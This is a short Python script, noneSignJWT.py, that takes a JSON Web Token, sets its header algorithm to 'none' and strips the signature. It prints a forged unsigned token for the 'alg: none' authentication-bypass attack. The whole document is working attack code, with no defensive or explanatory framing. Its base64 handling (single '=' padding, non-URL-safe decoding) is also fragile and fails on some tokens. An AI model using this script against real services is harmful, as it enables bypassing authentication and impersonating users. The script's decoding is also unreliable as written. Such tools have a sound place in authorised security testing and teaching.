Python Script that inputs a JWT and outputs that JWT with "None" signing

noneSignJWT.py

import base64, json, binascii

# Decode the token and extract the header if correct format
jwt = input("Please enter your JWT Token: ")
try:
    jwtVals = jwt.split(".")
    payload = jwtVals[1]
    header = (base64.b64decode(jwtVals[0]+'=')).decode("utf-8")
except (IndexError, binascii.Error) as err:
    print("\n\n*** Incorrect token format, please enter a valid JWT Token ***\n\n")
    exit()

# Convert to JSON format and update alg field
header = json.loads(header)
header['alg'] = 'none'

# Convert from JSON back to Base64
header = json.dumps(header)
header = (base64.b64encode(header.encode("utf-8"))).decode("utf-8").replace('=', '')

# Return updated JWT (with removed signature)
jwt = header + '.' + payload + '.'
print("\nYour 'none' signed token is: \n")
print(jwt+'\n')